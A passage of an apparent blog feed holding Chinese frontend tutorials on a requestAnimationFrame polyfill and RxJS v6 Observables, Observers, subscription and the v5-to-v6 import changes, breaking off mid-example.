title="兼容问题"></a>兼容问题</h3><p>目前的时间点上,几乎所有的浏览器现行版本都支持了<code>rAF</code>函数。但在一部分浏览器上还需要加上兼容性前缀。<br>下面是一个比较简单的兼容<code>polyfill</code>函数用来使<code>requestAnimation</code>兼容各浏览器:<br></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">window.requestAnimationFrame = (function(){</span><br><span class="line"> return window.requestAnimationFrame ||</span><br><span class="line"> window.webkitRequsetAnimationFrame ||</span><br><span class="line"> window.mozRequestAnimationFrame ||</span><br><span class="line"> function(callback) {</span><br><span class="line"> window.setTimeout(callback, 16.7)</span><br><span class="line"> }</span><br><span class="line">})()</span><br></pre></td></tr></table></figure><p></p><p>在上面的代码中,当浏览器不支持此<code>API</code>时,我们代替的使用了<code>setTimeout</code>来保证了方法的向后兼容。<br>当然,这个<code>polyfill</code>没有考虑到需要连带使用<code>cancelAnimationFrame</code>的情况。如果有需要的同学,可以自己去搜索一下,在此就不再多言。</p><p>OK,关于<code>requestAnimationFrame</code>的相关内容,比较简单,就介绍到这里,多谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
</tags>
</entry>
<entry>
<title>RxJs系列(二):Observable和Observer</title>
<link href="/2018/09/05/rxjs-2-Observable/"/>
<url>/2018/09/05/rxjs-2-Observable/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p><code>Observable</code>是<code>RxJs</code>中的核心概念,也是<code>RxJs</code>最为基础的构造类。我们通过将数据流封装为<code>Observable</code>,来进一步处理事件流程和状态分发等行为。</p><p>将值封装为<code>Observable</code>之后,我们就需要提供一个<code>Observer</code>来对值形成的数据流进行订阅,从而对每个值进行处理。</p><p>本篇博客,主要就<code>Observable</code>和<code>Observer</code>这两个概念进行一个介绍。</p><p>理解了<code>Observable</code>和<code>Observer</code>,对<code>RxJs</code>也就理解了一大部分,后续的深入学习也会更加的得心应手和轻松,所以我会尽可能详细的进行说明,同时也尽量保证文章的通俗易懂。</p><p>对于文中涉及到的<code>RxJs</code>的其他概念,如果不明白也不要紧,先跳过去,后续博客我会再进行介绍。</p><p>Ok,废话不多说。下面进入正题。</p></blockquote><a id="more"></a><p><code>Observable</code>,在<code>RxJs</code>中又被称作<strong><em>可观察对象</em></strong>。表示的是一系列值或事件的集合。这些值和事件,可以是<strong><em>HTTP</em></strong>请求,可以是<strong><em>DOM</em></strong>事件,可以是一个迭代器函数,甚至可以是一个简单的数组。归根结底的来说,其实<code>RxJs</code>并不是非常关心你的值是如何产生的,是同步还是异步。它更关注的部分是在这些值随着时间线需要进行哪些处理,通过关注时间线上值的状态和对时间轴的丰富操作性,自然而然的将异步消化。</p><p><code>Observer</code>,又被称为<strong><em>观察者</em></strong>,用于接受经过处理后的值,就像一个数据管道的最末端。</p><p>笼统的来说,<code>Observable</code>就相当于一个生产者,不停的生产出新的商品,也就是我们数据流中的值。而<code>Observer</code>就相当于一个消费者,来接收并使用这个商品。</p><p>我们来看一个最简单的表达两者关系的一个例子:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> { Observable } <span class="keyword">from</span> <span class="string">'rxjs'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="keyword">function</span> <span class="title">subscribe</span>(<span class="params">observer</span>) </span>{</span><br><span class="line"> observer.next(<span class="number">1</span>)</span><br><span class="line"> observer.next(<span class="number">2</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> observer = {</span><br><span class="line"> next: <span class="function">(<span class="params">x</span>) =></span> <span class="built_in">console</span>.log(x)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">observable$.subscribe(observer)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line"><span class="number">2</span></span><br></pre></td></tr></table></figure><p>很多同学看到这个例子,可能会觉得似曾相识,看起来跟<code>Promise</code>很像啊。我们来用<code>Promise</code>重写一下这个例子:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> promise = <span class="keyword">new</span> <span class="built_in">Promise</span>(<span class="function"><span class="params">resolve</span> =></span> {</span><br><span class="line"> resolve(<span class="number">1</span>)</span><br><span class="line"> resolve(<span class="number">2</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line">promise.then(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出</span></span><br><span class="line"><span class="number">1</span></span><br></pre></td></tr></table></figure><p>看出区别了吧 ?虽然看起来形式很相近,两者也都是以推送的形式发送值,但不同的是,<code>RxJs</code>可以推送多个值到观察者,而<code>Promise</code>在推送一个值以后,就会进入<code>resolved</code>状态,不会再有后续值的推送了。</p><p>可能又有同学要问了,那<code>Rxjs</code>跟我们普通的事件广播和事件观察者有什么区别呢?主要区别是以下两点:</p><ol><li><code>Event</code> 触发时,<code>EventEmitters</code> 会向所有观察者广播同一个副作用,而<code>Rxjs</code>对每个观察者的推送都是单独的,每个观察者都各自触发一个单独的副作用,就像我们调用一个函数多次一样。</li><li><code>Event</code>的执行与是否有观察者无关,而<code>Observable</code>是惰性的,只有当观察者存在时,它才会执行。</li></ol><p><code>Rxjs</code>通过连续推送和强大的操作符以及惰性机制相结合,可以动态的处理多个时间轴上的连续值,并为每个观察者提供单独的值推送,这种情况使用<code>Promise</code>或者<code>eventemmiter</code>是难以实现或者实现起来非常复杂的。</p><p>在<code>Observable</code>的生命周期中,直观的有以下四个比较重要的核心关注点:</p><ul><li>创建</li><li>订阅</li><li>执行</li><li>清理</li></ul><p>我们按顺序的来说明一下这四部分的内容。</p><h3 id="创建"><a href="#创建" class="headerlink" title="创建"></a>创建</h3><p>在上面例子中,我们使用实例化<code>Observable</code>类的方式创建了一个<code>Observable</code>。</p><p><code>Observable</code>类构造函数接受一个<code>subscribe</code>函数作为参数,<code>subscribe</code>函数的参数为<code>observer</code>,通过<code>observer</code>的<code>next</code>,<code>complete</code>,<code>error</code>方法分别可以传递值信息,完成信息和错误信息。</p><p>我们可以调用任意次的<code>next</code>方法来传递多个值,但一旦调用了<code>complete</code>传递完成消息或者调用<code>error</code>传递错误消息,则意味着推送结束,<code>Observable</code>后续就不会再推送任何值了。</p><p>如下所示:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="keyword">function</span> <span class="title">subscribe</span>(<span class="params">observer</span>) </span>{</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> observer.next(<span class="number">1</span>)</span><br><span class="line"> observer.complte()</span><br><span class="line"> } <span class="keyword">catch</span>(err) {</span><br><span class="line"> observer.error(err)</span><br><span class="line"> }</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> observer = {</span><br><span class="line"> next: <span class="function">(<span class="params">x</span>) =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> complte: <span class="function"><span class="params">()</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>),</span><br><span class="line"> error: <span class="function">(<span class="params">err</span>) =></span> <span class="built_in">console</span>.log(err)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">observable$.subscribe(observer)</span><br></pre></td></tr></table></figure><p>可以看出,<code>Observable</code>通过它的约定和实现,将我们提供的观察者对象<code>observer</code>的回调方法对应到了我们在构造函数中使用的<code>observer</code>参数的方法,通过这种方式解决了回调函数的位置造成的难以维护的问题。</p><p>当然,一般的,我们并不会通过实例化<code>Observable</code>类这种方式来进行<code>Observable</code>的创建,而是更多的通过创建操作符来进行<code>Observable</code>的创建,这些创建操作符内部封装了各种各样的从不同数据类型中创建<code>Observable</code>的方法,使我们可以方便快速的创建一个<code>Observable</code>。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 从一个数组或者类数组对象中创建一个Observable</span></span><br><span class="line"><span class="keyword">from</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从一个给定的事件类型中创建一个Observable</span></span><br><span class="line">fromEvent($(<span class="string">'button'</span>), <span class="string">'click'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 从一个Promise中创建一个Observable</span></span><br><span class="line"><span class="keyword">from</span>(fetch(<span class="string">'a/b'</span>))</span><br></pre></td></tr></table></figure><p>还有许多的创建操作符,在这里就不一一列举了。</p><p>通过这些操作符,我们就几乎具有了从任意的数据形式中快速创建<code>Observable</code>的能力。</p><h3 id="订阅"><a href="#订阅" class="headerlink" title="订阅"></a>订阅</h3><p>像上面的例子中一样,我们通过<code>Observable</code>的<code>subscribe</code>方法来对其进行订阅。</p><p>我们还需要向<code>subscribe</code>传递一个观察者对象作为参数来对接受到的值进行处理。</p><p>所谓观察者对象,也就是一个拥有<code>next</code>,<code>complte</code>,<code>error</code>方法的对象,作为<code>Observable</code>推送值的消费者,它这三种方法分别对应<code>Observable</code>发送的三种消息。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">from</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>])</span><br><span class="line"></span><br><span class="line">observable$.subscribe({</span><br><span class="line"> next: <span class="function">(<span class="params">x</span>) =></span> <span class="built_in">console</span>.log(x),</span><br><span class="line"> complete: <span class="function"><span class="params">()</span> =></span> <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line"> error: <span class="function">(<span class="params">err</span>) =></span> <span class="built_in">console</span>.error(err),</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>我们也可以只传递一个回调函数,此时<code>Observable</code>会使用内部方法创建一个观察者并使用此回调函数作为观察者的<code>next</code>方法。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">observable$.subscribe(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x))</span><br></pre></td></tr></table></figure><p>我们也可以直接传递三个函数,这三个函数同样会被当做内部创建出的观察者的<code>next</code>,<code>error</code>,<code>complete</code> 方法。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">observable$.subscribe(</span><br><span class="line"> x => <span class="built_in">console</span>.log(x),</span><br><span class="line"> err => <span class="built_in">console</span>.error(err),</span><br><span class="line"> () => <span class="built_in">console</span>.log(<span class="string">'complete'</span>)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="执行"><a href="#执行" class="headerlink" title="执行"></a>执行</h3><p>在上面我们提到一句,<code>Observable</code>是惰性的,这是什么意思呢?</p><p>其实就是一句话而已,<code>Observable</code>只有在每个观察者订阅之后才会执行。如果没有观察者,<code>Observable</code>内部的代码永远不会被执行。</p><p>同时,<code>Observable</code>的执行可以是同步的,也可以是异步的。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="keyword">function</span> <span class="title">subscribe</span>(<span class="params">observer</span>) </span>{</span><br><span class="line"> observer.next(<span class="number">1</span>)</span><br><span class="line"> observer.next(<span class="number">2</span>)</span><br><span class="line"> setTimeout(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> observer.next(<span class="number">3</span>)</span><br><span class="line"> }, <span class="number">5000</span>)</span><br><span class="line">})</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> observer = {</span><br><span class="line"> next: <span class="function">(<span class="params">x</span>) =></span> <span class="built_in">console</span>.log(x)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">observable$.subscribe(observer)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出</span></span><br><span class="line"><span class="number">1</span></span><br><span class="line"><span class="number">2</span></span><br><span class="line"><span class="number">3</span></span><br></pre></td></tr></table></figure><p>如上所示,<code>Observerable</code>的内部执行是同步还是异步并无关紧要。重要的是,只有观察者存在时,它才会执行。</p><p>需要注意的是,订阅在同一个<code>Observable</code>的观察者之间是不共享的,每个订阅都会触发针对当前观察者的独立的设置和独立执行。这也是<code>Rxjs</code>与传统的事件和观察者模式之间最大的区别。</p><h3 id="清理"><a href="#清理" class="headerlink" title="清理"></a>清理</h3><p>对于使用创建操作符进行创建的<code>Observable</code>,在订阅时,会返回一个<code>Subscription</code>,直白的说,就是订阅关系,在<code>Rxjs 4.0</code>之前,也叫做<code>disposable</code>,翻译过来就是<strong><em>可清理对象</em></strong>。</p><p>我们可以调用<code>Subscription</code>的<code>unsubscribe</code>方法,来取消订阅,<code>Observable</code>内部会自动的进行相关的资源清理和关闭。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建一个间隔一秒推送一个值的Observable</span></span><br><span class="line"><span class="keyword">const</span> observable$ = interval(<span class="number">1000</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 订阅并得到Subscription</span></span><br><span class="line"><span class="keyword">const</span> subscription = observable.subscribe({(x) => <span class="built_in">console</span>.log(x)})</span><br><span class="line"></span><br><span class="line"><span class="comment">// 取消订阅</span></span><br><span class="line">subscription.unsubscribe()</span><br></pre></td></tr></table></figure><p><code>Subscription</code>还有一个<code>add</code>方法,用于将其他的<code>Subscription</code>合并进当前<code>Subscription</code>,当调用<code>unsubscribe</code>方法时,被合并进来的<code>subscription</code>也会被取消。</p><p>对应<code>add</code>还有一个<code>remove</code>方法,用于撤销已经添加进去的子<code>Subscription</code>。</p><p>对于通过构造函数创建的<code>Observable</code>,我们需要显式的返回一个自定义函数<code>unsubscribe</code>来进行相应的清理执行资源和取消执行。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> observable$ = <span class="keyword">new</span> Observable(<span class="function"><span class="params">observer</span> =></span> {</span><br><span class="line"> <span class="keyword">var</span> intervalId = setInterval(<span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> observer.next(<span class="string">'hi'</span>)</span><br><span class="line"> },<span class="number">1000</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> <span class="title">unsubscribe</span>(<span class="params"></span>) </span>{</span><br><span class="line"> clearInterval(intervalID);</span><br><span class="line"> };</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>通过以上的介绍,相信大家对于<code>Observable</code>已经有了相对清晰和简单的认识。万事开头难,只要跨过了这个门槛,你会很快的发现<code>RxJs</code>特别的魅力,它是如此优雅和高效,其中蕴含的编程思想和智慧在某些时刻让人喜悦不已。</p><p>我想这大概也是计算机科学最大的魅力,一句简单的大道至简背后,是无数功力和智慧才铸就的举重若轻,实在让我这等凡夫俗子愚笨之徒艳羡。</p><p>ok,这篇博客就到这里,夜已深,不多说废话啦。多谢阅读,我们下篇博客再见^_^。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> RxJs </tag>
</tags>
</entry>
<entry>
<title>RxJs系列(一):概述</title>
<link href="/2018/09/04/rxjs-1-basic/"/>
<url>/2018/09/04/rxjs-1-basic/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>异步编程作为代码世界中一个绕不开的话题,其与人类直观的同步思维相违背的代码执行顺序再加上复杂的状态管理,异常处理,控制权交接,数据传递,条件判断,事件循环等等,经常让初入其中的程序员头昏脑涨,拐不过弯,屡屡翻车。</p><p>对<code>Js</code>来说,因为处在浏览器这个特殊语言环境和其单用户线程的特性,异步编程更是随处可见,在<code>Js</code>中具有举足轻重的地位。更别说在以异步无阻塞著称的<code>nodeJS</code>中,更是大部分的<code>API</code>都是异步的。异步编程的场景越来越复杂,异步处理的机制也越来越抽象。</p><p>从最早的回调函数,到类似<code>jQuery</code>的<code>event-emmiter</code>事件广播,再到<code>ES6</code>中的迭代器和<code>Promise</code>,再到<code>Es7</code>中的<code>async/await</code>函数,我们对<code>js</code>中异步的处理工具也日益丰富。今天要介绍的<code>rxjs</code>,也是用来处理<code>js</code>的异步编程问题的。不过,相比上面的那些异步处理机制,<code>rxjs</code>的适用场景更广,也更抽象,对使用者对异步问题的归纳和梳理能力,要求也更高,当然,学习曲线也是相当陡峭。</p><p>不过话又说回来,只要认真努力坚持不懈,我还没见过有什么技术是啃不下来的。今天看不懂就明天再看一遍,明天看不懂就大后天再看一遍(中间要休息一天,劳逸结合撒….),总是会大彻大悟之类的。</p><p>好啦,不闲扯了,进入正题。</p></blockquote><a id="more"></a><p>在最早的<code>js</code>中,我们使用回调函数来处理异步编程,但在存在条件判断和逻辑嵌套的异步场景中,回调函数可读性差,难以维护的问题(回调地狱)随之而来。</p><p>随后,又出现了事件机制,如<code>jQuery</code>中的<code>on</code>方法,<code>js</code>中的<code>trigger</code>,<code>addEventListener</code>等,但紧接着,我们发现,使用事件机制需要将程序改造成事件驱动,代码的运行流程会变得模糊和难以控制。</p><p>再接着,<code>Es6</code>的<code>Generator</code>和<code>Promise</code>出现了,通过语言特性层面的扩张,使我们对异步问题的处理更上了一个台阶,再加上<code>async/await</code>函数将<code>Generator</code>和<code>Promise</code>整合在一起,大家都以为<code>js</code>中的异步问题终于有了终极的解决方案。<br>但问题总比方法多,我们很快的发现,对于复杂的异步场景,例如多个异步请求的并行,串行,合并,竞态条件的处理,防止内存泄漏等等限制下,我们仍然无法显著降低生产项目中异步处理的复杂度,仍然需要用大量的代码来兜住这些场景。</p><p>同时,我们也可以察觉到,异步的场景越来越多样,从传统的<code>DOM Event</code>,定时器,<code>Ajax请求</code>到新出现的<code>fetch</code>,<code>WebScoket</code>,<code>Service Worker</code>等等,这些异步动作的构造代码写法也不尽相同,为实现统一的异步处理模型带来了更多的难点。</p><p>这正是<code>Rxjs</code>所要解决的问题。</p><p><code>Rxjs</code>,具体的来说,就是<code>ReactiveX API</code>的<code>js</code>实现。</p><p><code>ReactiveX</code>,即<code>Reactive Extensions</code>的简写,一般我们称之为<code>Rx</code>,是由微软领导开发的一个异步编程模型,通过提供统一一致的编程接口,来帮助开发者更方便的处理<strong><em>异步数据流</em></strong>。它具有多种编程语言实现,例如<code>RxJava</code>,<code>Rx.NET</code>等等。</p><p>当然,<code>js</code>的实现,就是<code>Rxjs</code>。</p><p>在前端<code>Angular</code>框架的官方标配大礼包中,就包括了<code>Rxjs</code>,想用好<code>Angular</code>的同学,很有必要对它进行一些了解。当然,它的应用场景非常广泛,只要有复杂异步问题的地方,都是它大显身手的地方。同时因为在各种语言中的实现都比较类似,可以说是学会了一个,就会了所有,真正的学不了吃亏,学不了上当。。。。</p><p>在进入正题之前,首先来解决一下历史遗留问题,防止大家在对照其他教程或者文档学习时产生困惑。先说明一下,<code>RxJs</code>经历了多个版本的迭代,引入和<code>API</code>调用方式都产生了比较大的变化。目前市面上很多教程和文章都是基于旧版本,大部分是<code>RxJs v5</code>写就的。</p><p>本系列基于<code>RxJs V6</code>最新版本,所以大家看到和其他地方不一样的实例代码时,不必疑惑,两边都没错。(话说我怎么又想起了学习<code>python</code>时关于<code>python 2</code> 和<code>python 3</code>的痛苦回忆。。。)</p><blockquote><h1 id="RxJs-v5-和-RxJs-v6"><a href="#RxJs-v5-和-RxJs-v6" class="headerlink" title="RxJs v5 和 RxJs v6"></a><em>RxJs v5 和 RxJs v6</em></h1><p><code>RxJs</code>经历了多个版本迭代,库的代码组织形式和结构也几经改变,尤其以<code>V6</code>版本在类和方法的结构改动上变化最大。</p><p>首先,是以下这些操作符,为了兼容<code>Es</code>标准,避免与语言自身关键字冲突,而进行了替换:</p><ol><li><code>do -> tap</code></li><li><code>catch -> catchError</code></li><li><code>switch -> switchAll</code></li><li><code>throw -> throwError</code></li><li><code>finally -> finalize</code></li></ol><p>还删除了<code>create</code>操作符,统一使用<code>Observable</code>构造函数代替。</p><p>另外比较明显的升级之后的不同之处的是操作符在<code>V6</code>以前的版本,它们看起来都更像是<code>Observable</code>类的静态方法和实例方法,而在<code>V6</code>中,为了更具有适应性,同时也更易于测试和使用,这些操作符都陆续被独立了出来,作为单纯的函数进行了重新的模块划分。</p><p>因此我们的导入方式需要跟着有一些变化。</p><p>还有比较重要的一点是,在<code>RxJs v5.5</code>之后,又引入了<code>pipe</code>管道操作符,改变了我们链式调用操作符的方式,不过这也只是操作符调用形式上的一点变化,不影响其本质。</p><p>来看一个例子,在<code>v5.0</code>中,我们在模块化使用<code>RxJs</code>时,通常用下面这种形式导入和使用<code>Observable</code>类和相关操作符:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// RxJs v5.0</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> { Observable } <span class="keyword">from</span> <span class="string">'rxjs/Observable'</span></span><br><span class="line"><span class="keyword">import</span> <span class="string">'rxjs/add/observable/interval'</span></span><br><span class="line"><span class="keyword">import</span> <span class="string">'rxjs/add/operator/map'</span></span><br><span class="line"><span class="keyword">import</span> <span class="string">'rxjs/add/operator/delay'</span></span><br><span class="line"> </span><br><span class="line">cosnt stream$ = Observable.interval(<span class="number">1000</span>).map(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x * <span class="number">10</span>)).delay(<span class="number">5000</span>)</span><br><span class="line"> </span><br><span class="line">stream$.subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure></blockquote><blockquote><p>可以看到,在<code>V5</code>版本中,我们是通过这种链式调用的方式来进行操作符的使用。</p><p>在<code>V6</code>版本中,我们只需要直接引入创建操作符和其它的操作符,并通过<code>pipe</code>操作符来管道式的使用操作符:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// RxJs v6.0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 原来作为Observable的静态方法的操作符从rxjs中直接引入</span></span><br><span class="line"><span class="keyword">import</span> { interval } <span class="keyword">from</span> <span class="string">'rxjs'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 原来作为Observable的实例方法的操作符从rxjs/oberators中引入</span></span><br><span class="line"><span class="keyword">import</span> { map, delay } <span class="keyword">from</span> <span class="string">'rxjs/oberators'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> stream$ = interval().pipe(</span><br><span class="line"> map(<span class="function"><span class="params">x</span> =></span> <span class="built_in">console</span>.log(x * <span class="number">10</span>)),</span><br><span class="line"> delay(<span class="number">5000</span>)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">stream$.subscribe(<span class="built_in">console</span>.log)</span><br></pre></td></tr></table></figure></blockquote><blockquote><p>中间另外还有几个版本,例如<code>v5.5</code>,<code>v5.6</code>,引入方式还会各自有一些不同,但通常我们都不会遇到。</p><p>在这一系列文章中,我会直接使用<code>RxJs V6</code>版本来进行讲解。因此很多例子可能看起来与其他的很多<code>V5</code>教程不太一样,不过也不需要疑惑,大部分地方,还是很容易就明白<code>V5</code>和<code>V6</code>的不同之处的,另外,毕竟买新不买旧嘛,在没有历史包袱的情况下,当然要直接上新的啦。</p></blockquote><h3 id="安装和引入"><a href="#安装和引入" class="headerlink" title="安装和引入"></a>安装和引入</h3><p>在文章开始,首先来说一下<code>Rxjs</code>的安装和引入,像其他的<code>npm package</code>一样,<code>Rxjs</code>的安装和引入也十分简单。<br>执行下面命令即可安装。</p><figure class="highlight shell"><figcaption><span>Shell</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install rxjs</span><br></pre></td></tr></table></figure><p>下面是引入<code>RxJs</code>中的基础构造类及操作符的代码。在实际使用中,我们只需要按需引入即可。</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建操作符和基础类</span></span><br><span class="line"><span class="keyword">import</span> { Observable, Subject, asapScheduler, pipe, <span class="keyword">of</span>, <span class="keyword">from</span>, interval, merge, fromEvent, SubscriptionLike, PartialObserver } <span class="keyword">from</span> <span class="string">'rxjs'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 实例操作符</span></span><br><span class="line"><span class="keyword">import</span> { map, filter, scan } <span class="keyword">from</span> <span class="string">'rxjs/operators'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// `webSocket</span></span><br><span class="line"><span class="keyword">import</span> { webSocket } <span class="keyword">from</span> <span class="string">'rxjs/webSocket'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ajax</span></span><br><span class="line"><span class="keyword">import</span> { ajax } <span class="keyword">from</span> <span class="string">'rxjs/ajax'</span>;</span><br></pre></td></tr></table></figure><h3 id="基础应用"><a href="#基础应用" class="headerlink" title="基础应用"></a>基础应用</h3><p>在<code>Rxjs</code>中,所有的数据都被视为<code>stream</code>,也就是数据流。我们通过<strong><em>对数据流的订阅</em></strong>,来对其进行查询,过滤,归并等操作。<br>本质来说,数据流,对应的就是迭代器模式,订阅,显而易见对应的观察者模式,再通过函数式编程型的过滤归并查找删除。根据上面这段话,我们就可以对<code>Rxjs</code>下定义了:</p><blockquote><p><strong>一个结合了观察者模式,迭代器模式和函数式编程的异步事件管理库。</strong></p></blockquote><p><code>Rxjs</code>以流的形式来处理数据,这个数据是抽象意义的,可以是<code>ajax</code>请求,可以是<code>DOM Event</code>,也可以是个普通数组。<br>数据流是通过<code>Observable</code>可观察对象来体现的,我们通过对<code>Observable</code>进行<code>subscribe</code>来获取它其中的数据。<br>我们以一个简单的输入框事件来举例Rxjs的应用:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td 